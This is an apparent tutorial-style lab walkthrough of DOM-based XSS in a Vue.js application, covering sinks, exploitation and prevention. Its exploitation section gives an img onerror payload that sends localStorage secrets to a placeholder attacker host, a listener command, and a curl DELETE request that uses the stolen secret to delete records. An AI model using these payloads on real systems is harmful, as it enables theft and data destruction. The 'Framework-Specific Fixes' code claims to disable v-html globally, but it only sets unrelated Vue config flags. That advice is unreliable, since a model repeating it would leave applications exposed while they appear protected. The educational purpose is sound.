Understanding DOM-Based XSS Attack
CybersecurityXSSVue.jsClient-Side AttacksWeb Security
DOM-Based Cross-Site Scripting (XSS) is a client-side attack that exploits vulnerabilities in the Document Object Model (DOM) of web applications. Unlike traditional XSS attacks, which target server-side vulnerabilities, DOM-Based XSS occurs entirely within the victim's browser. This makes it particularly dangerous for Single Page Applications (SPAs) built with frameworks like Vue.js, where dynamic content rendering is common.
How DOM-Based XSS Works
Core Mechanism
- Source: User-controlled input (e.g., URL parameters, form fields) enters the DOM.
- Sink: The application processes this input unsafely (e.g., using
innerHTML,v-html, oreval). - Execution: Malicious JavaScript runs in the victim's browser, leading to data theft, session hijacking, or unauthorized actions.
Key Difference: DOM-Based XSS does not require server interaction—it exploits flaws in client-side JavaScript.
Identifying Vulnerabilities
Common Sinks in Vue.js
| Directive | Risk Level | Safe Alternative |
|---|---|---|
v-html | High | {{ }} (auto-sanitized) |
innerHTML | High | textContent |
document.write | High | Avoid entirely |
Example of a Vulnerable Pattern
<!-- UNSAFE: v-html renders raw HTML -->
<td><p v-html="userInput"></p></td>
<!-- SAFE: {{ }} escapes HTML -->
<td>{{ userInput }}</td>
Exploiting DOM-Based XSS: Step-by-Step
1. Environment Setup
Configure the target domain to resolve locally:
sudo echo "[TARGET_IP] custom.local" >> /etc/hosts
Access the application at:
http://custom.local:5173/
2. Reconnaissance
- Use browser DevTools (Debugger tab) to inspect Vue components (e.g.,
Bdays.vue). - Identify dynamic data flows and potential sinks.
3. Crafting the Exploit
Proof of Concept (PoC)
- Non-working payload (blocked by modern browsers):
<script>alert('XSS')</script> - Working payload (triggers via event handlers):
<img src="x" onerror="console.log('XSS')">
Exfiltrating Data
Steal localStorage secrets with:
<img src="x" onerror="fetch('http://[ATTACKER_IP]:8888?secret=' + encodeURIComponent(localStorage.getItem('secret')))">
Start a listener:
python3 -m http.server 8888
4. Executing the Attack
- Retrieve IDs: Intercept
GET /bdaysrequests to extract entry IDs. - Delete Records: Use the stolen secret to send
DELETErequests:curl -X DELETE "http://custom.local:5001/bdays/[ID]?secret=[STOLEN_SECRET]"
Prevention Strategies
Secure Coding Practices
- Avoid
v-html: Use{{ }}for dynamic content in Vue.js. - Sanitize Inputs: Use libraries like DOMPurify for untrusted HTML.
- Content Security Policy (CSP): Restrict inline scripts and external resources.
Framework-Specific Fixes
// Vue.js: Disable v-html globally
Vue.config.productionTip = false;
Vue.config.devtools = false;
Vue.config.silent = true; // Reduces attack surface
Attack Workflow Summary
| Step | Action |
|---|---|
| Recon | Analyze DOM and Vue components for sinks. |
| Exploit Injection | Insert payload via vulnerable sink (e.g., v-html). |
| Data Exfiltration | Steal secrets using JavaScript (e.g., localStorage). |
| ID Discovery | Extract entry IDs via proxy tools (Burp Suite) or DevTools. |
| Malicious Action | Send authenticated requests (e.g., DELETE) with stolen credentials. |
Lessons Learned
Never trust client-side rendering for sensitive operations. Always:
- Sanitize outputs.
- Validate inputs.
- Use secure alternatives to dangerous directives like
v-html.